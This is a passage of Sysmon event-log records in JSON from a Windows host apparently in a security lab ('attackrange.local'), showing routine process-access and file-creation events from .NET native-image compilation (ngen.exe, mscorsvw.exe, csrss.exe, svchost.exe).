30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:02.369","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42BA-5F2D-0000-0010142B0D00}","TargetProcessId":"3388","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7361,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:02.369\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42BA-5F2D-0000-0010142B0D00}\r\nTargetProcessId: 3388\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:02.369","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42BA-5F2D-0000-0010142B0D00}","TargetProcessId":"3388","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7362,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:02.385\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42BA-5F2D-0000-0010142B0D00}\r\nTargetProcessId: 3388\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:02.385","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42BA-5F2D-0000-0010142B0D00}","TargetProcessId":"3388","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7363,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:02.432\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42BA-5F2D-0000-0010812E0D00}\r\nTargetProcessId: 4664\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:02.432","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42BA-5F2D-0000-0010812E0D00}","TargetProcessId":"4664","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7364,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:02.432\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42BA-5F2D-0000-0010812E0D00}\r\nTargetProcessId: 4664\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:02.432","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42BA-5F2D-0000-0010812E0D00}","TargetProcessId":"4664","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7365,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:02.432\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42BA-5F2D-0000-0010812E0D00}\r\nTargetProcessId: 4664\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:02.432","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42BA-5F2D-0000-0010812E0D00}","TargetProcessId":"4664","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7366,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:02:02.479\r\nProcessGuid: {90617006-42BA-5F2D-0000-0010812E0D00}\r\nProcessId: 4664\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1238-0\\PresentationFramework-SystemXmlLinq.dll\r\nCreationUtcTime: 2020-08-07 12:02:02.479","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:02:02.479","ProcessGuid":"{90617006-42BA-5F2D-0000-0010812E0D00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1238-0\\PresentationFramework-SystemXmlLinq.dll","CreationUtcTime":"2020-08-07 12:02:02.479","EventReceivedTime":"2020-08-07 12:02:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7367,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:02.541\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42BA-5F2D-0000-0010B0320D00}\r\nTargetProcessId: 2512\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:02.541","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42BA-5F2D-0000-0010B0320D00}","TargetProcessId":"2512","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7368,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:02.541\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42BA-5F2D-0000-0010B0320D00}\r\nTargetProcessId: 2512\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:02.541","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42BA-5F2D-0000-0010B0320D00}","TargetProcessId":"2512","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7369,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:02.557\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42BA-5F2D-0000-0010B0320D00}\r\nTargetProcessId: 2512\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: 